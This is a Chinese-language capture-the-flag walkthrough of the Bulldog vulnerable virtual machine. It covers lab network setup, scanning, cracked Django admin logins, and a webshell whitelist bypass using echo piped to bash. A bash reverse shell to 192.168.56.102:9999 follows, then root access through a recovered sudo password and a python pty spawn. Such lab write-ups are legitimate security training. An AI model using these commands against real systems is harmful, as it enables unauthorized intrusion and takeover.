环境搭建
下载链接
在 virtuallBox 中打开靶机。
virtuallBox 网络连接方式设置为仅主机。
vmware 设置桥接模式的网卡为 VirtualBox Host-Only Ethernet Adapter。
kail 网络适配设置为 NAT 和 桥接。
来自:https://blog.csdn.net/LYJ20010728/article/details/119395324?spm=1001.2014.3001.5501
如果还是有问题最简单的方法就是直接还原网络适配器的默认值。
信息收集
端口扫描:
开了个 23 端口,如果有账密,直接 telnet 登录。
目录扫描:
/admin 提醒要是员工的用户名和密码。
在 /dev 中有对网站的一些见解,比如这个网站是 Django 等等,有个 webshell 页面,不过要验证,估计有个 cookie 啥的,在源码中还有一串 hash,解密
用这个登 Django 管理页面看下。
nick@bulldogindustries.com bulldog
sarah@bulldogindustries.com bulldoglover
成功
webshell 可用。
getshell
虽然说只能运行六个命令,但是我们可以用 echo 绕过。
ifconfig
ls
echo
pwd
cat
rm
反弹 shell
echo 'bash -i >& /dev/tcp/192.168.56.102/9999 0>&1' | bash
提权
在/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp 中找到sudo的密码:SUPERultimatePASSWORDyouCANTget
疑似 root 密码
提示我们要在终端上,那用 python 打开一个新终端
成功 root
sudo python -c 'import pty;pty.spawn("/bin/bash")'
SUPERultimatePASSWORDyouCANTget